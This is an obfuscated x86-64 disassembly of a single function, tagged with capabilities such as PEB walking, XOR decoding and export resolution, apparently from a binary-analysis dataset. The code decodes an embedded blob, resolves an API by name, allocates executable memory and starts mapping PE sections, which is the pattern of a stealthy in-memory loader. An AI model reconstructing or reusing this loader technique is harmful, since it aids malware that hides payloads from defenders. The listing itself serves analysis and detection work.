Function at 0x1800011b0
Capabilities:
Access peb ldr_data
Check os version
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x168
movdqa xmmword [rsp + 0x150], xmm15
movdqa xmmword [rsp + 0x140], xmm14
movdqa xmmword [rsp + 0x130], xmm13
movdqa xmmword [rsp + 0x120], xmm12
movdqa xmmword [rsp + 0x110], xmm11
movdqa xmmword [rsp + 0x100], xmm10
movdqa xmmword [rsp + 0xf0], xmm9
movdqa xmmword [rsp + 0xe0], xmm8
movdqa xmmword [rsp + 0xd0], xmm7
movdqa xmmword [rsp + 0xc0], xmm6
mov eax, dword [0x180023460]
mov ecx, dword [0x180023464]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0x4c3742ed
and edx, 0xb3c8bd12
or edx, eax
mov eax, edx
xor eax, 0xb3c8bd12
and eax, 0xfffffffe
xor edx, 0x4c3742ec
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne bl
cmp ecx, 9
setg dl
cmp ecx, 0xa
setl al
mov ecx, eax
xor cl, bl
and cl, al
and dl, r8b
and al, bl
or al, dl
test cl, al
jne 0x180001292
xor cl, al
jne 0x180001292
nop word cs:[rax + rax]
nop
jmp 0x180001290
mov eax, dword [0x180023468]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x478b733d
and ecx, 0xb8748cc2
or ecx, edx
xor ecx, 0x478b733c
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x18002346c], 0xa
mov r10d, dword [section..data]
setl r15b
xor al, r15b
xor al, 1
and r15b, al
xor r15b, 1
mov ecx, r15d
xor cl, al
or r15b, al
xor r15b, 1
or r15b, cl
mov dword [rsp + 0xbc], r10d
test r10, r10
je 0x1800013e4
movabs r8, 0xfe95e3e9e4ad2a94
mov r13, 0xffffffffffffffff
movabs r11, 0x7e32518c60b6f218
xor ebp, ebp
mov r9, r11
and r9, 0xfffffffffffffc00
not r11
mov r14, r8
not r14
lea rsi, section..data
nop word cs:[rax + rax]
nop
mov edx, r11d
and edx, 0x3ff
or rdx, r9
xor rdx, r11
mov rcx, r8
and rcx, r13
mov rax, rbp
and rax, r14
or rax, rcx
mov rcx, rdx
not rcx
and rcx, r8
and rdx, r14
or rdx, rcx
xor rdx, rax
mov rdi, rdx
xor rdi, r13
and rdi, rdx
test r15b, r15b
je 0x18000141f
movzx eax, byte [rdi + rsi + 4]
movzx r12d, byte [rbp + rsi + 0x404]
mov ebx, eax
not bl
mov edx, ebx
or dl, r12b
not r12b
mov ecx, edx
not cl
and bl, 0xd6
and al, 0x29
or al, bl
xor al, 0xd6
or al, r12b
mov ebx, eax
not bl
mov r12d, edx
and r12b, 0xab
and cl, 0x54
or cl, r12b
or dl, al
and al, 0xab
and bl, 0x54
or bl, al
xor bl, cl
not dl
or dl, bl
mov byte [rbp + rsi + 0x404], dl
add rbp, 1
add r13, 0xffffffffffffffff
cmp rbp, r10
jb 0x180001340
test r15b, r15b
jne 0x1800014d5
lea rax, section..data
mov cl, byte [r10 + rax + 0x404]
mov byte [rsp + 0x24], cl
movzx ecx, word [r10 + rax + 0x405]
mov word [rsp + 0x25], cx
mov al, byte [r10 + rax + 0x407]
mov byte [rsp + 0x27], al
jmp 0x1800014a8
mov bl, byte [rbp + rsi + 0x404]
nop word cs:[rax + rax]
movzx eax, byte [rdi + rsi + 4]
mov ecx, ebx
not cl
mov edx, ecx
and dl, 4
and bl, 0xfb
or bl, dl
xor bl, al
xor bl, 4
and bl, al
or cl, al
not cl
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov byte [rbp + rsi + 0x404], cl
movzx eax, byte [rdi + rsi + 4]
mov ebx, ecx
not bl
and bl, 6
mov edx, ecx
and dl, 0xf9
or dl, bl
xor dl, al
xor dl, 6
and dl, al
xor al, cl
and al, cl
mov ebx, edx
not bl
mov ecx, eax
not cl
mov r8d, ebx
and r8b, 0xb1
and dl, 0x4e
or dl, r8b
or bl, cl
and cl, 0xb1
and al, 0x4e
or al, cl
xor al, dl
not bl
or bl, al
mov byte [rbp + rsi + 0x404], bl
jmp 0x180001430
lea rax, section..data
mov cl, byte [r10 + rax + 0x404]
mov byte [rsp + 0x24], cl
movzx ecx, word [r10 + rax + 0x405]
mov word [rsp + 0x25], cx
mov al, byte [r10 + rax + 0x407]
mov byte [rsp + 0x27], al
lea r12, section..data
mov al, byte [r10 + r12 + 0x404]
mov byte [rsp + 0x24], al
movzx eax, word [r10 + r12 + 0x405]
mov word [rsp + 0x25], ax
mov al, byte [r10 + r12 + 0x407]
mov byte [rsp + 0x27], al
test r15b, r15b
je 0x1800014a8
lea r13, [r10 + r12]
add r13, 0x408
mov ebp, dword [rsp + 0x24]
test rbp, rbp
je 0x180002024
cmp ebp, 0x20
setb cl
cmp ebp, 0x1f
seta dl
movabs rax, 0xf113afb786e90acb
mov qword [rsp + 0x38], rbp
sub rbp, rax
movabs rdi, 0xf2b90bded8fe9fdd
mov rbx, rdi
not rbx
add rbx, rbp
movabs rbp, 0x93a5cbed51f70331
add rbx, rbp
add rbx, rax
add rbx, rdi
movabs rax, 0x76fb982a790d20dc
add rbx, rax
sub rbx, rbp
sub rbx, rax
cmp rbx, 0x3ff
seta r8b
cmp rbx, 0x400
setb bl
and r8b, dl
or dl, bl
mov eax, edx
xor al, 1
and cl, bl
or cl, r8b
xor r9d, r9d
cmp al, cl
jne 0x180001f80
xor cl, 1
or dl, cl
xor dl, 1
mov rbp, qword [rsp + 0x38]
jne 0x180001f80
movabs rax, 0xb724b5581510d903
movabs rcx, 0x128cb3342479a3ef
add rcx, rax
sub rax, r10
sub rax, rcx
movabs rcx, 0x128cb33424799fe7
add rcx, rax
movabs rax, 0x74b7247b3288a8b8
add rcx, rax
sub rax, rcx
add rax, r12
lea rcx, [r10 + rbp]
add rcx, r12
add rcx, 0x408
movabs rdx, 0x68cbc670fa599f14
add rbp, rdx
movabs rbx, 0xbd924a0bea8c585c
add rbp, rbx
sub rbp, rdx
movabs rdx, 0x11e2e2fe2c033481
sub rbp, rdx
sub rbp, rbx
add rbp, r12
add rdx, rbp
add rdx, 4
cmp rax, rdx
setb al
lea rdx, str.VVlyjRSzFLmyrtahDwbFCWKFpmipmmhPoixaHfnPShaHPmTikLFaGRRaRwSJkGioOZEjauXgEoVWGTzlnoYCRHXLRHkcLUwtRLscGPXWipGllUEtDhAiCOyhKZXuXonRjlTtvAbzJruFwnzhSWetPSDcTFmsAsgrYOIzXiIDKCqQOgRteJATfscdvKJLkYJYDOTwQBCozHbjOwrsEfDahwtnRWrwUHtjMEWqiJcClQAKEWCldPXlFgTDWBnBzOOQehoyPblqrlqBxCHBYTSgQeVRsIUMAvGfzpRPBftsHGSwgCAKhcsZHsGnDGIVBzzlJawToSZpPocqaYODKafIbjUxsgYALhCgLJVVBsmlmvLObBkTjuDmBFLwsWfJQmKOCraMTEcDlqMxlpqjSyPrLuteyrUJfydYpUVvxKyJuOrmJDrzRYIPqhOjBgdYAPwTErQzZhTokDleGXilfFfCeievFgPAburDnkRoofIaUBCGpLVGWiwkTAjRiGldilyDzyAkMCGrCbyFccuVxuYzDEDuvAZXeCQLTKWpQnHJHsCYoLiEEfwolbDxYGFFZtuPlxZOakqsVwpkzYVHHFdfTHfMoRejgXFUlOjwziyaUFlboEdVklzEkistcBUWWPZDvLsQXjGLCoLlOqofJPsdWyJuSgwKoKKPFXtxGcZyDsmqKdTsUhjwtMIjfBDELPOQAbZIvqzEDPCTVaUkrIzpxYdccJglTrnuEDYRlSoSWaahMgdaZOpUEqUjKcrXtwdgknaadmHssYpbKHqfdQxBsppHZdzkaYkYZmMrARiGVHicqeShhLVLVHjxFMKFeCVqWIqinPBGXCLsjHylfYwHtUgvEehUBfIYroLxcyKFJiGOdunQkwqcgOwqSEsVrlgcSlapICrQkBvLiFXnyhqsYTDPBOVJDtgFXOfXCxoPpHETuszpQBFGRZnTjLPvtmLhuFynHUCbJGESIwDeVGrEOIuYixVTxOKwscWoBPvvuzuEzXchQvEDTQEuiekzijC
cmp rcx, rdx
seta cl
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
jne 0x180001664
xor al, 1
je 0x180001664
xor r9d, r9d
jmp 0x180001f80
mov qword [rsp + 0x30], r13
mov rdx, qword [rsp + 0x38]
mov rax, rdx
not rax
movabs rcx, 0x255afac8b10f9fd0
and rax, rcx
and edx, 0x4ef0602f
or rdx, rax
xor rdx, rcx
not rdx
movabs rax, 0x9e8b58e588e55fd0
not rax
and rax, rdx
movabs r9, 0xffffffff0000001f
and r9, rdx
not edx
and edx, 0x88e55fd0
or rax, rdx
movabs rcx, 0x2150a20888e55fcf
xor rcx, rax
or r9, rcx
not r9
movabs rax, 0x29455b40024b4faf
add rax, r9
movabs rcx, 0xd6baa4bffdb4b031
add rcx, rax
mov rdi, rcx
shr rdi, 5
add rdi, 1
mov rbx, rdi
not rbx
mov rdx, rbx
and rdx, 0xfffffffffffffffe
mov eax, edi
and eax, 1
or rax, rdx
xor rbx, rax
and rbx, rax
test rcx, rcx
mov qword [rsp + 0x50], rbx
je 0x180001d86
mov rbp, r12
movabs rax, 0x28d66b6171fe2628
lea rcx, [rdi + rax]
mov rdx, rbx
sub rdx, rcx
movabs r12, 0x9dbd89e7e4b62b41
add rdx, r12
add rdx, rax
sub r12, rdx
sub rbx, rdi
mov qword [rsp + 0x58], rbx
pcmpeqd xmm14, xmm14
movdqa xmm15, xmmword [0x180005060]
movdqa xmm11, xmmword [0x1800050e0]
lea rax, [r10 + rbp]
add rax, 0x418
mov qword [rsp + 0x48], rax
mov r11, 0xffffffffffffffff
xor esi, esi
movabs r13, 0xbf4c92fdee1fc9f5
nop word cs:[rax + rax]
nop
mov qword [rsp + 0x28], rsi
movabs rcx, 0x4c2c7d9aeed4353b
mov rax, rcx
and rax, 0xfffffffffffffc3f
not rcx
mov edx, ecx
and edx, 0x3c0
movabs rbp, 0xdd3d2f4d8cc26094
mov rbx, rbp
and rbx, r11
mov rdi, rbp
or rdx, rax
not rdi
mov rax, rsi
and rax, rdi
or rax, rbx
xor rdx, rcx
and rdi, rdx
not rdx
and rdx, rbp
or rdi, rdx
xor rdi, rax
mov rax, rdi
xor rax, r11
and rax, rdi
lea rcx, section..data
movdqu xmm1, xmmword [rax + rcx + 4]
movdqu xmm12, xmmword [rax + rcx + 0x14]
mov rax, qword [rsp + 0x48]
movdqu xmm4, xmmword [rax + rsi - 0x10]
movdqu xmm5, xmmword [rax + rsi]
movdqa xmm8, xmm1
pxor xmm8, xmm14
por xmm8, xmm4
pxor xmm4, xmm14
movdqa xmm3, xmm8
pxor xmm3, xmm14
por xmm4, xmm1
movdqa xmm6, xmm4
pxor xmm6, xmm14
movdqa xmm7, xmm8
movdqa xmm2, xmmword [str.pppppppppppppppp]
pand xmm7, xmm2
por xmm8, xmm4
movdqa xmm1, xmm2
pandn xmm1, xmm3
por xmm1, xmm7
movdqa xmm10, xmm2
movdqa xmm3, xmm5
pxor xmm3, xmm14
movdqa xmm0, xmmword [0x180005010]
movdqa xmm7, xmm0
pandn xmm7, xmm5
pand xmm4, xmm2
pandn xmm5, xmm0
por xmm5, xmm7
pxor xmm5, xmm0
pandn xmm10, xmm6
por xmm5, xmmword [str.DDDDDDDDDDDDDDDD_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a]
movdqa xmm6, xmm5
pxor xmm6, xmm14
movdqa xmm0, xmmword [0x180005020]
por xmm3, xmm0
movdqa xmm13, xmm12
por xmm10, xmm4
movdqa xmm4, xmm12
pxor xmm4, xmm0
pandn xmm12, xmm4
movdqa xmm2, xmmword [0x180005040]
movdqa xmm4, xmm2
pandn xmm4, xmm6
movdqa xmm6, xmm3
pxor xmm6, xmm14
pand xmm5, xmm2
por xmm4, xmm5
movdqa xmm5, xmm2
pandn xmm5, xmm6
pand xmm3, xmm2
por xmm5, xmm3
pxor xmm5, xmm4
movdqa xmm9, xmm12
movdqa xmm2, xmmword [0x180005050]
movdqa xmm3, xmm2
pandn xmm3, xmm12
pandn xmm12, xmm2
por xmm12, xmm3
mov rsi, r13
not rsi
mov r8, r11
not r8
movabs rax, 0xf698471459f72b84
mov rdx, rax
not rdx
mov rcx, r8
or rcx, rsi
or rdx, rax
movabs rbx, 0x84a5ce83f3e935ec
mov rax, rbx
not rax
mov rdi, r11
not rcx
or rdi, r13
or rax, rbx
not rdi
mov rbx, r13
and rdi, rax
and rbx, 0xffffffffffffffdf
mov eax, r13d
not eax
and eax, 0x20
and rcx, rdx
or rax, rbx
mov r14, rcx
not r14
movabs rbp, 0x48332487be22edd1
mov rbx, rbp
not rbx
mov rdx, r14
and rdx, rbp
and rcx, rbx
or rcx, rdx
mov rdx, rdi
not rdx
or r14, rdx
and rdx, rbp
and rdi, rbx
or rdi, rdx
xor rdi, rcx
or rbx, rbp
movabs rdx, 0x92bd0a60cff2c8eb
mov r15, rdx
not r15
and r8, rdx
mov rcx, r11
not r14
and rcx, r15
or rcx, r8
mov ebp, edx
and ebp, 0x20
and rbx, r14
or rdx, r15
and r15, 0xffffffffffffffdf
or r15, rbp
or rbx, rdi
mov rbp, rbx
not rbp
xor r15, rcx
movabs r14, 0x297f2b6e215dd045
mov rcx, r14
not rcx
and rbp, r14
and rbx, rcx
and rdx, r11
and rdx, 0xffffffffffffffdf
or rbx, rbp
or rdx, r15
mov rbp, rdx
not rbp
movabs r8, 0xabd5efb7d361166e
mov rdi, r8
not rdi
and rbp, r8
and rdx, rdi
or rdx, rbp
xor rdx, rdi
mov rbp, r13
and rbp, rsi
xor rsi, r13
or rsi, rbp
and rcx, rax
not rax
and rax, r14
not rdx
not rsi
or rcx, rax
or rsi, rdx
movabs rdx, 0x52afcd589af5c95c
mov rax, rdx
not rax
or rax, rdx
xor rcx, rbx
not rsi
and rsi, rax
mov rax, rcx
movabs rdi, 0x85b30d663f33220e
mov r8, rdi
not r8
not rax
mov rdx, rax
and rdx, rdi
and rcx, r8
or rcx, rdx
mov rdx, rsi
not rdx
or rax, rdx
and rdx, rdi
and rsi, r8
or rsi, rdx
xor rsi, rcx
not rax
or r8, rdi
and r8, rax
or r8, rsi
mov rax, r8
not rax
movabs rbx, 0xdb336de1a9de8bf4
mov rdx, rbx
not rdx
mov rsi, r8
mov rcx, rbx
and rsi, rbx
or rcx, rdx
and rcx, rax
mov rdi, rax
and rdi, rdx
or rdi, rsi
mov eax, ebx
and eax, 0x3e0
and rdx, 0xfffffffffffffc1f
or rdx, rax
movabs rbx, 0xe794356e093720a8
mov rax, rbx
not rax
xor rdx, rdi
and rcx, 0xfffffffffffffc1f
mov rsi, rbx
and rsi, rax
or rcx, rdx
xor rax, rbx
or rax, rsi
mov rdx, rcx
not rdx
movabs rdi, 0x27673ce5693590a2
mov rsi, rdi
and rdx, rdi
not rsi
and rcx, rsi
or rcx, rdx
xor rcx, rsi
not rcx
not rax
or rax, rcx
movabs rdx, 0x3ae801c798e14a7f
mov rcx, rdx
not rcx
or rcx, rdx
not rax
and rax, rcx
pxor xmm13, xmm14
por xmm13, xmm0
pxor xmm9, xmm14
por xmm9, xmm13
pxor xmm8, xmm14
pxor xmm13, xmm14
por xmm13, xmm2
pxor xmm13, xmm12
pxor xmm10, xmm1
pxor xmm9, xmm14
por xmm9, xmm13
movdqa xmm1, xmm15
pandn xmm1, xmm5
por xmm8, xmm10
pandn xmm5, xmm15
por xmm5, xmm1
movdqa xmm1, xmm15
pandn xmm1, xmm9
pandn xmm9, xmm15
por xmm9, xmm1
pxor xmm9, xmm5
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x48]
movdqu xmmword [rdx + rcx - 0x10], xmm8
mov rcx, qword [rsp + 0x28]
movdqu xmmword [rdx + rcx], xmm9
lea rcx, section..data
movdqu xmm3, xmmword [rax + rcx + 4]
movdqu xmm1, xmmword [rax + rcx + 0x14]
mov rax, qword [rsp + 0x30]
movdqu xmm5, xmmword [rax + r8]
movdqa xmm2, xmm5
movdqa xmm4, xmm5
movdqa xmm0, xmmword [0x1800050a0]
pxor xmm4, xmm0
pand xmm4, xmm5
pandn xmm5, xmmword [0x180005070]
pand xmm2, xmmword [0x180005080]
por xmm2, xmm5
pxor xmm2, xmmword [str.]
movdqa xmm6, xmm2
pand xmm6, xmm0
movdqa xmm5, xmm3
pxor xmm5, xmm14
por xmm3, xmmword [str.ccccccccccccccccUUUUUUUUUUUUUUUU]
pxor xmm3, xmm14
por xmm5, xmm0
pxor xmm5, xmm14
movdqa xmm7, xmm6
por xmm5, xmm3
pxor xmm7, xmm14
movdqa xmm3, xmm4
pxor xmm3, xmm14
por xmm3, xmm7
movdqu xmm7, xmmword [rax + r8 + 0x10]
movdqa xmm0, xmmword [0x1800050c0]
pandn xmm6, xmm0
pand xmm2, xmmword [0x1800050d0]
por xmm2, xmm6
movdqa xmm6, xmm0
pandn xmm6, xmm4
pandn xmm4, xmm0
por xmm4, xmm6
movdqa xmm6, xmm7
pxor xmm6, xmm14
pandn xmm7, xmm11
por xmm6, xmm11
pxor xmm6, xmm14
por xmm6, xmm7
movdqa xmm7, xmm1
pxor xmm4, xmm2
movdqa xmm2, xmm1
pxor xmm2, xmm11
pandn xmm1, xmm2
pxor xmm3, xmm14
por xmm3, xmm4
movdqa xmm2, xmm3
pandn xmm2, xmm5
pxor xmm7, xmm14
por xmm7, xmm11
pandn xmm5, xmm3
movdqa xmm3, xmm7
pxor xmm3, xmm14
pandn xmm7, xmm1
pxor xmm3, xmm1
por xmm5, xmm2
por xmm3, xmm7
movdqa xmm1, xmm6
pandn xmm1, xmm3
pandn xmm3, xmm6
por xmm3, xmm1
movdqu xmmword [rax + r8], xmm5
movdqu xmmword [rax + r8 + 0x10], xmm3
mov rsi, qword [rsp + 0x28]
movabs rdx, 0x76235c51b4ba48e6
add r12, rdx
movabs rax, 0xe9514492b8682455
mov rcx, rax
add r12, rax
mov rax, rdx
sub rax, r12
movabs rdx, 0x7e851bc012c64821
add rax, rdx
add rax, rcx
add rsi, 0x40
neg rax
lea r12, [rdx + rax]
add r12, 0xfffffffffffffffe
add r11, 0xffffffffffffffc0
add qword [rsp + 0x58], 2
jne 0x180001790
jmp 0x180001d88
xor esi, esi
cmp qword [rsp + 0x50], 0
lea r12, section..data
je 0x180001f70
mov rax, rsi
not rax
mov rcx, rax
and rcx, 0xfffffffffffffc1f
mov edx, esi
and edx, 0x3e0
or rdx, rcx
not rdx
or rdx, rax
not rdx
movdqu xmm4, xmmword [rdx + r12 + 4]
movdqu xmm0, xmmword [rdx + r12 + 0x14]
mov rax, qword [rsp + 0x30]
movdqu xmm5, xmmword [rax + rsi]
movdqu xmm1, xmmword [rax + rsi + 0x10]
pcmpeqd xmm9, xmm9
movdqa xmm6, xmm5
pxor xmm6, xmm9
movdqa xmm3, xmm5
pandn xmm3, xmmword [str.8888888888888888]
pand xmm5, xmmword [0x180005100]
por xmm5, xmm3
pxor xmm5, xmmword [0x180005110]
movdqa xmm11, xmmword [0x180005120]
movdqa xmm2, xmm5
pand xmm2, xmm11
movdqa xmm8, xmmword [0x180005130]
por xmm6, xmm11
movdqa xmm10, xmm6
pxor xmm10, xmm9
movdqa xmm7, xmm4
pxor xmm7, xmm9
movdqa xmm12, xmmword [str.ggggggggggggggggssssssssssssssss]
movdqa xmm3, xmm12
pandn xmm3, xmm4
pandn xmm4, xmm12
por xmm4, xmm3
pxor xmm4, xmm12
por xmm4, xmmword [0x180005150]
movdqa xmm12, xmm4
pxor xmm12, xmm9
por xmm7, xmm11
movdqa xmm11, xmm7
pxor xmm11, xmm9
movdqa xmm3, xmmword [0x1800050c0]
pandn xmm2, xmm3
pand xmm5, xmmword [0x1800050d0]
por xmm5, xmm2
pand xmm6, xmm3
pandn xmm3, xmm10
por xmm3, xmm6
pxor xmm3, xmm5
movdqa xmm2, xmmword [0x180005160]
pand xmm4, xmm2
pand xmm7, xmm2
movdqa xmm5, xmm2
pandn xmm5, xmm12
por xmm5, xmm4
pandn xmm2, xmm11
por xmm2, xmm7
pxor xmm2, xmm5
movdqa xmm4, xmmword [str.xxxxxxxxxxxxxxxx]
movdqa xmm5, xmm2
pandn xmm5, xmm4
movdqa xmm6, xmm4
pandn xmm6, xmm3
pandn xmm3, xmm4
por xmm3, xmm6
pandn xmm4, xmm2
por xmm4, xmm5
pxor xmm4, xmm3
movdqa xmm2, xmm1
pxor xmm2, xmm9
movdqa xmm3, xmm8
pandn xmm3, xmm1
pandn xmm1, xmm8
por xmm1, xmm3
movdqa xmm3, xmm0
pxor xmm3, xmm9
pxor xmm1, xmm8
por xmm1, xmm3
movdqa xmm3, xmm1
pxor xmm3, xmm9
movdqa xmm5, xmmword [0x180005180]
movdqa xmm6, xmm5
pandn xmm6, xmm0
pandn xmm0, xmm5
por xmm0, xmm6
pxor xmm0, xmm5
por xmm0, xmm2
pxor xmm0, xmm9
pandn xmm1, xmm0
pxor xmm0, xmm3
por xmm0, xmm1
movdqu xmmword [rax + rsi], xmm4
movdqu xmmword [rax + rsi + 0x10], xmm0
cmp r9, qword [rsp + 0x38]
mov r13, qword [rsp + 0x30]
je 0x180002024
movabs r8, 0xc67c5a278f81ef64
mov rsi, r9
not rsi
lea r15, [r10 + r12]
add r15, 0x408
mov r14, r8
not r14
mov r11, r14
and r11, 0xfffffffffffffc00
nop dword [rax + rax]
mov rcx, r8
and rcx, rsi
mov rbp, r9
and rbp, r14
or rbp, rcx
mov edi, r8d
and edi, 0x3ff
or rdi, r11
xor rdi, rbp
mov rcx, rdi
xor rcx, rsi
and rcx, rdi
movzx ecx, byte [rcx + r12 + 4]
movzx ebx, byte [r15 + r9]
not bl
mov eax, ebx
xor al, cl
not al
and al, cl
or bl, cl
mov ecx, ebx
not cl
mov edx, eax
not dl
mov edi, edx
and dil, 0x96
and al, 0x69
or al, dil
or dl, bl
and bl, 0x96
and cl, 0x69
or cl, bl
xor cl, al
not dl
or dl, cl
mov byte [r15 + r9], dl
add r9, 1
add rsi, 0xffffffffffffffff
cmp r9, qword [rsp + 0x38]
jb 0x180001fb0
movsxd rdi, dword [0x180006440]
mov ecx, dword [0x180023470]
mov edx, dword [0x180023474]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
mov ebx, ecx
and ebx, 0xfffffffe
and ebp, 1
or ebp, ebx
not ebp
or ebp, ecx
cmp ebp, 0xffffffff
sete bl
setne al
cmp edx, 9
setg cl
cmp edx, 0xa
setl dl
and al, dl
and cl, bl
or cl, al
mov eax, edx
xor al, bl
or dl, bl
xor dl, 1
or dl, al
xor dl, 1
test cl, dl
jne 0x180002082
xor cl, dl
jne 0x180002082
jmp 0x180002080
mov qword [rsp + 0x30], r13
lea r8, [rdi + r12]
add r8, 0x404
lea r13, [r10 + r12]
add r13, 0x407
nop dword [rax]
cmp byte [r13 + 1], 0
lea r13, [r13 + 1]
jne 0x1800020a0
mov rax, r13
add rax, 1
mov qword [rsp + 0x50], rax
mov rdi, rax
nop word [rax + rax]
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x1800020c0
mov rsi, rdi
nop dword [rax]
cmp byte [rsi], 0
lea rsi, [rsi + 1]
jne 0x1800020d0
mov rax, qword gs:[0x60]
mov r14, qword [rax + 0x18]
mov eax, dword [0x180023478]
mov ecx, dword [0x18002347c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebp, eax
and ebp, 0xfffffffe
and edx, 1
or edx, ebp
not edx
or edx, eax
cmp edx, 0xffffffff
setne r9b
sete bl
cmp ecx, 0xa
setl al
cmp ecx, 9
setg dl
and bl, dl
and al, r9b
or al, bl
mov ecx, edx
and cl, r9b
xor dl, r9b
or dl, cl
mov ebx, edx
xor bl, 1
mov ecx, dword [0x180023480]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0xf20fab4c
and ebp, 0xdf054b3
or ebp, ecx
mov ecx, ebp
xor ecx, 0xdf054b2
and ecx, 0xfffffffe
xor ebp, 0xf20fab4d
or ebp, ecx
cmp ebp, 0xffffffff
sete cl
cmp dword [0x180023484], 0xa
setl r11b
cmp al, bl
jne 0x180002192
xor al, 1
or al, dl
xor al, 1
jne 0x180002192
nop word cs:[rax + rax]
nop
jmp 0x180002190
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0xb0], rdi
mov qword [rsp + 0x60], r8
add r14, 0x10
xor cl, r11b
xor cl, 1
and r11b, cl
xor r11b, 1
mov eax, r11d
xor al, cl
or r11b, cl
xor r11b, 1
or r11b, al
movabs r12, 0x868b0d4ce2317eb0
xor r10d, r10d
mov qword [rsp + 0x28], r14
mov r14, qword [r14]
cmp r14, qword [rsp + 0x28]
je 0x18000229c
mov rdx, r13
nop word [rax + rax]
cmp byte [rdx + 1], 0
lea rdx, [rdx + 1]
jne 0x1800021f0
test r11b, r11b
je 0x180002300
movabs rax, 0x316d99783dd2f7bc
add rdx, rax
mov r8, qword [rsp + 0x50]
sub r8, rdx
add r8, rax
neg r8
je 0x180002298
mov r15, qword [r14 + 0x60]
xor edi, edi
mov rbp, r8
nop dword [rax]
movzx ecx, word [r15 + rdi*2]
test ecx, ecx
sete dl
movsx ebx, byte [r13 + rdi + 1]
lea r9d, [rcx - 0x41]
lea esi, [rcx + 0x20]
cmp r9w, 0x1a
cmovae esi, ecx
lea ecx, [rbx - 0x41]
lea eax, [rbx + 0x20]
cmp cl, 0x1a
cmovae eax, ebx
sub esi, eax
setne al
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
xor cl, 1
cmp cl, dl
jne 0x180002290
or cl, dl
xor cl, 1
jne 0x180002290
add rbp, r12
mov rax, r12
not rax
add rbp, rax
add rdi, 1
cmp r8, rdi
jne 0x180002230
jmp 0x180002298
test esi, esi
jne 0x1800021d6
mov r10, qword [r14 + 0x30]
mov eax, dword [0x180023488]
mov ecx, dword [0x18002348c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebp, eax
and ebp, 0xfffffffe
and edx, 1
or edx, ebp
not edx
or edx, eax
cmp edx, 0xffffffff
setne dl
sete bl
cmp ecx, 9
setg al
cmp ecx, 0xa
setl cl
xor cl, bl
mov ebx, eax
and bl, dl
xor al, dl
or al, bl
xor al, 1
test cl, al
jne 0x180002302
xor cl, al
jne 0x180002302
nop dword [rax]
jmp 0x1800022f0
jmp 0x180002300
movsxd rax, dword [r10 + 0x3c]
mov eax, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rax + 0x1c]
mov ebp, dword [r10 + rax + 0x20]
add r8, r10
add rbp, r10
mov esi, dword [r10 + rax + 0x24]
add rsi, r10
mov eax, dword [0x180023490]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x1e72ef3
and ecx, 0xfe18d10c
or ecx, edx
xor ecx, 0x1e72ef2
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x180023494], 9
setg bl
mov ecx, ebx
or cl, al
xor cl, 1
xor bl, al
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov r9b, 1
nop word cs:[rax + rax]
nop dword [rax]
mov eax, dword [rbp]
add rax, r10
mov rdi, qword [rsp + 0x30]
nop dword [rax + rax]
test bl, bl
je 0x180002390
movzx r14d, byte [rdi]
movzx r11d, byte [rax]
cmp r14b, r11b
sete cl
setne dl
test r14b, r14b
setne r15b
xor dl, r15b
xor dl, 1
or cl, r15b
xor cl, 1
or cl, dl
jne 0x1800023cb
add rax, 1
add rdi, 1
test r9b, r9b
je 0x1800023cb
jne 0x180002390
cmp r14b, r11b
je 0x1800023da
add rbp, 4
add rsi, 2
jmp 0x180002380
movzx eax, word [rsi]
mov eax, dword [r8 + rax*4]
add r10, rax
mov r14, qword [rsp + 0x60]
mov edx, dword [r14 + 0x50]
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
mov r10, rax
cmp word [r14 + 6], 0
mov qword [rsp + 0x40], rax
je 0x180002e12
lea r9, [r14 + 0x108]
mov r11d, dword [0x180023460]
mov r15d, dword [0x180023464]
lea rax, [r10 + 0x10]
mov qword [rsp + 0x80], rax
xor edi, edi
mov qword [rsp + 0x90], r9
mov qword [rsp + 0x88], r13
jmp 0x18000248c
movabs rax, 0x2387937808ac445f
mov rdx, rax
add rdi, rax
movabs rax, 0xab82e85ce3adf2b0
mov rcx, rax
sub rcx, rdi
add rcx, rdx
neg rcx
lea rdi, [rax + rcx]
add rdi, 1
movzx ecx, word [r14 + 6]
cmp rdi, rcx
jae 0x180002e12
lea rbp, [rdi + rdi*4]
mov esi, dword [r9 + rbp*8 + 0x10]
lea edx, [r11 - 1]
imul edx, r11d
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0x19d7e32d
and edx, 0xe6281cd2
or edx, ebx
xor edx, 0x19d7e32c
or edx, ecx
cmp edx, 0xffffffff
sete r8b
setne al
cmp r15d, 0xa
setl cl
cmp r15d, 9
setg bl
or bl, al
mov eax, ebx
xor al, 1
xor cl, r8b
cmp al, cl
jne 0x1800024ec
xor cl, 1
or bl, cl
xor bl, 1
je 0x180002e00
test esi, esi
je 0x1800026b3
mov qword [rsp + 0x68], rdi
mov r8d, dword [r9 + rbp*8 + 0xc]
mov r14d, dword [r9 + rbp*8 + 0x14]
lea r15, [r10 + r8]
lea rdi, section..data
lea r11, [r14 + rdi]
add r11, 0x404
cmp esi, 0x20
jb 0x18000257e
mov r12, rdi
lea rax, [r8 + rsi]
add rax, r10
lea rdx, [r14 + rdi]
add rdx, 0x404
movabs rcx, 0xc0bf1304ebf33b67
